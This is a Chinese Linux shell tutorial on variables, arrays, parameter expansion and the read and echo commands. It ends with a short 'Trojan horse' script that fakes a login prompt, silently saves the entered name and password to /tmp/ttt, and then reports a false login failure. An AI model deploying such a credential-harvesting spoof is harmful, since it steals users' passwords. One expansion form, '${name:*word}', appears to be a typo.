Linux shell程序设计(三).变量-1
无论是Linux的shell还是Windows的bat,变量的使用都占据了很大的位置。可以说稍微复杂一些的shell脚本中,其使用的变量就让人眼花缭乱,所以学好变量的基本知识很有必要,毕竟是所有的基础。而且这部分的内容非常容易记混,还是那句话,关键还是在于应用。
一、用户定义的变量
1、变量名
以字母、下划线开头的字母、数字和下划线字符序列
注:大小写敏感
2、变量赋值
3、引用变量值
在变量名前加“$”表示引用,例如:
$ dir=/usr/wxq
$ echo $dir --/usr/wxq
$ echo dir --dir
注意:
① abc= 或未明确赋值过的变量,均为空字符串
② 如果字符串中有空格,则用""括起来:names="Wang XQ"
③ 可以作为某长字符串的一部分,例如:echo read$s
④ 若会引起歧义时,用{}括起变量,如:cat ${dir}qc/m
4、命令替换
使用倒引号“`”进行命令替换,如:
$ dir=`pwd`
或者使用$()的形式
$ dir=$(pwd)
$ echo $(pwd; cd /opt; ls -l)
二、数组
1、定义数组
bash只提供一维数组,且不限制数组大小。
数据下标从0开始赋值,格式为:数组名[下标]=值
$ city[0]=Beijing
$ city[1]=Shanghai
...
也可以组合赋值
$ A=(this is an example of shell script)
2、数组的读取
${数组名[下标]},例如上例中:
$ echo ${A[0]} ${A[2]} --this an
$ echo ${A[8]} --空值,超过上限
注:可以使用*或@作为下标,表示所有元素,例如:
$ echo ${A[*]}
当不加下标读取时,默认返回A[0]
3、取消数组
$ unset A --取消整个数据
$ unset A[0] --取消第一个值
三、变量引用
① $name:表示变量name的值,若未定义变量则返回空值
② ${name}:与$name相同,只是为了与后面紧接的字符分开
③ ${name[n]}:表示引用数组name中的第n个元素
④ ${name[*]} | ${name[@]}:表示引用数据的所有元素
${name[*]}和${name[@]}的区别:
$ person=("a b" "c d")
$ echo ${person[*]}
a b c d
$ echo ${person[@]}
a b c d
$ for i in ${person[*]}; do echo $i; done
a
b
c
d
$ for i in ${person[@]}; do echo $i; done
a
b
c
d
$ for i in "${person[*]}"; do echo $i; done
a b c d
$ for i in "${person[@]}"; do echo $i; done
a b
c d
⑤ ${name:-word}、${name:*word}、${name:+word}、${name:?word}:计算方法,后面讲
⑥ ${name#pattern}、${name##pattern}:去掉开头匹配部分之后的结果
${name#pattern}:去掉匹配最少的部分
${name##pattern}:去掉匹配最多的部分
$ echo $PWD
/home/wxq
$ echo ${PWD#*/}
home/wxq
$ echo ${PWD##*/}
wxq
⑦ ${name%pattern}、${name%%pattern}:去掉末尾匹配部分之后的结果
${name%pattern}:去掉匹配最少的部分
${name%%pattern}:去掉匹配最多的部分
$ echo $FILE
A.abc.c
$ echo ${FILE%.*}
A.abc
$ echo ${FILE%%.*}
A
⑧ ${#@}、${#*}:返回$@、$*返回参数的个数
⑨ ${#name[i]}:返回第i个元素的长度(字符个数)
⑩ ${#name[*]}、${#name[@]}:返回数组name中已经设置的元素个数
四、输入/输出命令
1、read命令
① 输入个数与给定数据个数相同
$ read x y z
Today is Monday
$ echo $z $y $x
Monday is Today
② 输入个数多于给定数据个数
$ read a1 a2 a3
aaa bbb ccc ddd 111
$ echo $a2 $a1
bbb aaa
$ echo $a3
ccc ddd 111
注:从左自右依次对应,最后一个变量分配到剩余所有的数据
③ 输入个数少于给定数据个数
从左自右依次对应,没有对应的变量取空值
2、echo命令
echo命令用于显示其后的变量值或之间显示后面的字符串。各个参数之间以空格隔开,以换行符终止。如果数据间需要空格则用""括起来。
echo命令后面加上“-e”后可使用转义符,转义符包括以下这些:
\a 响铃报警
\b 退一个字符位置
\c 输出之后光标不换行,接在此之后(与-n选项相同)
\e 转义字符
\f 换页
\n 显示换行
\r 回车
\t 水平制表符
\v 垂直制表符
\\ 印出反斜杠
\m 表示一个ASCII字符(m以0开头,由1位、2位或3位八进制数组成的数)
\xm 表示一个ASCII字符(m以0开头,由1位、2位或3位十六进制数组成的数)
举例某特洛伊木马shell脚本如下:
echo -n "Login:"
read name
stty -echo
echo -n "Password:"
read passwd
echo ""
stty echo
echo $name $passwd > /tmp/ttt&
sleep 2
echo "Login Incorrect.Re-enter,Please."
stty cooked